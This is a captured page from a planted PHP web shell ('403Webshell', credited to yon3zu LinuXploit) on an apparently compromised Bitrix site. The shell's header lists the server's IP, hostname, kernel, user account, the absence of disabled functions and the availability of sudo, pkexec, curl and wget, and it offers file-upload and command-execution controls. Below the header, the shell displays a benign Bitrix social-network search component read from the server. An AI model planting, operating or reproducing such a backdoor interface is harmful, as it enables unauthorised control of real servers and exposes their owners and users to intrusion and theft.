403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/components/bitrix/socialnetwork_group/include/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/components/bitrix/socialnetwork_group/include/search.php
<?php

if (!defined('B_PROLOG_INCLUDED') || B_PROLOG_INCLUDED !== true)
{
	die();
}

/** @var CBitrixComponent $component */
/** @var array $arParams */
/** @var array $arResult */
/** @var array $arDefaultUrlTemplates404 */
/** @var string $componentPage */
/** @global CDatabase $DB */
/** @global CUser $USER */
/** @global CMain $APPLICATION */

$arParams["SEARCH_FILTER_NAME"] = (
	isset($arParams["SEARCH_FILTER_NAME"])
	&& $arParams["SEARCH_FILTER_NAME"] <> ''
		? $arParams["SEARCH_FILTER_NAME"]
		: "sonet_search_filter"
);

$arParams["SEARCH_FILTER_DATE_NAME"] = (
	isset($arParams["SEARCH_FILTER_DATE_NAME"])
	&& $arParams["SEARCH_FILTER_DATE_NAME"] <> ''
		? $arParams["SEARCH_FILTER_DATE_NAME"]
		: "sonet_search_filter_date"
);

$arParams["SEARCH_RESTART"] = (
	isset($arParams["SEARCH_RESTART"])
	&& $arParams["SEARCH_RESTART"] == "Y"
		? $arParams["SEARCH_RESTART"]
		: "N"
);

$arParams["SEARCH_USE_LANGUAGE_GUESS"] = (
	isset($arParams["SEARCH_USE_LANGUAGE_GUESS"])
	&& $arParams["SEARCH_USE_LANGUAGE_GUESS"] == "N"
		? $arParams["SEARCH_USE_LANGUAGE_GUESS"]
		: "Y"
);

global ${$arParams["SEARCH_FILTER_NAME"]}, $sonet_search_settings;
$sonet_search_filter = array();
$EntityType = (mb_strpos($componentPage, "group_content_search") !== false ? SONET_ENTITY_GROUP : SONET_ENTITY_USER);

$sFilterDateTo = $_REQUEST[$arParams["SEARCH_FILTER_DATE_NAME"]."_to"] ?? null;
if ($arr = ParseDateTime($_REQUEST[$arParams["SEARCH_FILTER_DATE_NAME"]."_to"] ?? null))
{
	if (
		intval($arr["HH"]) == 0
		&& intval($arr["MI"]) == 0
		&& intval($arr["SS"]) == 0
	)
	{
		$arr["HH"] = "23";
		$arr["MI"] = "59";
		$arr["SS"] = "59";
		$sDateTime = $arr["DD"].".".$arr["MM"].".".$arr["YYYY"]." ".$arr["HH"].":".$arr["MI"].":".$arr["SS"];
		$stmp = MakeTimeStamp($sDateTime, "DD.MM.YYYY HH:MI:SS");
		$sFilterDateTo = ConvertTimeStamp($stmp, "FULL");
	}
}

if (($_REQUEST[$arParams["SEARCH_FILTER_NAME"]] ?? null) <> '')
	$sonet_search_filter["SONET_FEATURE"] = $_REQUEST[$arParams["SEARCH_FILTER_NAME"]];
if (($_REQUEST[$arParams["SEARCH_FILTER_DATE_NAME"]."_from"] ?? null) <> '')
	$sonet_search_filter[">=DATE_CHANGE"] = $_REQUEST[$arParams["SEARCH_FILTER_DATE_NAME"]."_from"];
if ($sFilterDateTo <> '')
	$sonet_search_filter["<=DATE_CHANGE"] = $sFilterDateTo;

$sonet_search_settings = array(
	"PHOTO_IBLOCK_TYPE" => ($EntityType == SONET_ENTITY_GROUP ? $arParams["PHOTO_GROUP_IBLOCK_TYPE"] : $arParams["PHOTO_USER_IBLOCK_TYPE"]),
	"PHOTO_IBLOCK_ID" => ($EntityType == SONET_ENTITY_GROUP ? $arParams["PHOTO_GROUP_IBLOCK_ID"] : $arParams["PHOTO_USER_IBLOCK_ID"]),
	"FILES_IBLOCK_TYPE" => ($EntityType == SONET_ENTITY_GROUP ? $arParams["FILES_GROUP_IBLOCK_TYPE"] : $arParams["FILES_USER_IBLOCK_TYPE"]),
	"FILES_IBLOCK_ID" => ($EntityType == SONET_ENTITY_GROUP ? $arParams["FILES_GROUP_IBLOCK_ID"] : $arParams["FILES_USER_IBLOCK_ID"]),
	"CALENDAR_IBLOCK_TYPE" => $arParams["CALENDAR_IBLOCK_TYPE"] ?? null,
	"CALENDAR_IBLOCK_ID" => ($EntityType == SONET_ENTITY_GROUP ? ($arParams["CALENDAR_GROUP_IBLOCK_ID"] ?? null) : $arParams["CALENDAR_USER_IBLOCK_ID"]),
);

AddEventHandler("search", "OnSearchPrepareFilter", Array("CSocNetSearchComponent", "OnSearchPrepareFilterHandler"));

class CSocNetSearchComponent
{
	public static function OnSearchPrepareFilterHandler($strSearchContentAlias, $field, $val)
	{
		if($field == "SONET_FEATURE")
		{
			$feature = false;
			if(!is_array($val))
				$feature = trim($val);

			if($feature)
			{
				switch($feature)
				{
					case "forum":
						return " ".$strSearchContentAlias."MODULE_ID = 'forum'";
					case "blog":
						return " ".$strSearchContentAlias."MODULE_ID = 'blog'";
					case "tasks":
						return " ".$strSearchContentAlias."MODULE_ID = 'tasks'";
					case "photo":
						$iblock_type = $GLOBALS["sonet_search_settings"]["PHOTO_IBLOCK_TYPE"];
						$iblock_id = $GLOBALS["sonet_search_settings"]["PHOTO_IBLOCK_ID"];
						if ($iblock_type <> '' && intval($iblock_id) > 0)
							return " ".$strSearchContentAlias."MODULE_ID = 'socialnetwork' AND ".$strSearchContentAlias."PARAM1 = '".$iblock_type."' AND ".$strSearchContentAlias."PARAM2 = ".$iblock_id;
						else
							return " 1=0";
					case "files":
						$iblock_type = $GLOBALS["sonet_search_settings"]["FILES_IBLOCK_TYPE"];
						$iblock_id = $GLOBALS["sonet_search_settings"]["FILES_IBLOCK_ID"];
						if ($iblock_type <> '' && intval($iblock_id) > 0)
							return " ".$strSearchContentAlias."MODULE_ID = 'socialnetwork' AND ".$strSearchContentAlias."PARAM1 = '".$iblock_type."' AND ".$strSearchContentAlias."PARAM2 = ".$iblock_id;
						else
							return " 1=0";
					default:
						return " 1=0";
				}
			}
			else
				return "";
		}
		else
			return "";
	}
}

if (mb_strpos($componentPage, "user_content_search") === false)
{
	$APPLICATION->addChainItem(
		$arResult['groupFields']['NAME'],
		\CComponentEngine::makePathFromTemplate(htmlspecialcharsbx($arResult['PATH_TO_GROUP']), [
			'group_id' => $arResult['groupFields']['ID'],
		]));
}
else
{
	$dbUser = CUser::GetByID($arResult["VARIABLES"]["user_id"]);
	$arUser = $dbUser->Fetch();
	
	if ($arParams["NAME_TEMPLATE"] == '')
		$arParams["NAME_TEMPLATE"] = CSite::GetNameFormat();
				
	$arParams["TITLE_NAME_TEMPLATE"] = str_replace(
		array("#NOBR#", "#/NOBR#"), 
		array("", ""), 
		$arParams["NAME_TEMPLATE"]
	);

	$bUseLogin = $arParams['SHOW_LOGIN'] != "N" ? true : false;	
	$strTitleFormatted = CUser::FormatName($arParams['TITLE_NAME_TEMPLATE'], $arUser, $bUseLogin);	
	
	$APPLICATION->AddChainItem($strTitleFormatted, CComponentEngine::MakePathFromTemplate(htmlspecialcharsbx($arResult["PATH_TO_USER"]), array("user_id" => $arUser["ID"])));
}

$feature = "search";
$arEntityActiveFeatures = CSocNetFeatures::GetActiveFeaturesNames(((mb_strpos($componentPage, "user_content_search") === false) ? SONET_ENTITY_GROUP : SONET_ENTITY_USER), ((mb_strpos($componentPage, "user_content_search") === false) ? $arResult["VARIABLES"]["group_id"] : $arResult["VARIABLES"]["user_id"]));
$strFeatureTitle = ((array_key_exists($feature, $arEntityActiveFeatures) && $arEntityActiveFeatures[$feature] <> '') ? $arEntityActiveFeatures[$feature] : GetMessage("SONET_CONTENT_SEARCH_CHAIN"));

if (mb_strpos($componentPage, "user_content_search") === false)
	$url = CComponentEngine::MakePathFromTemplate(htmlspecialcharsbx($arResult["PATH_TO_GROUP_CONTENT_SEARCH"]), array("group_id" => $arResult["VARIABLES"]["group_id"]));
else
	$url = CComponentEngine::MakePathFromTemplate(htmlspecialcharsbx($arResult["PATH_TO_USER_CONTENT_SEARCH"]), array("user_id" => $arResult["VARIABLES"]["user_id"]));

$APPLICATION->AddChainItem($strFeatureTitle, $url);
?>

Youez - 2016 - github.com/yon3zu
LinuXploit